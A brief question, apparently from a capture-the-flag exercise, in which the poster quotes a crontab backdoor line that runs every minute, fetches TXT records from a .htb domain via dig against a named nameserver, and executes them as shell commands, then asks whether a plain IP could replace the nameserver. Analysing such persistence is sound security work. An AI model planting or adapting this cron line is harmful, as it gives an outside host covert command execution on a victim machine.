I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain
imf0rce.htb and then executes them as shell commands.
But i was wondering if the @ns.imf0rce.htb is necessary? Could you use ie @22.214.171.124 and get the same result?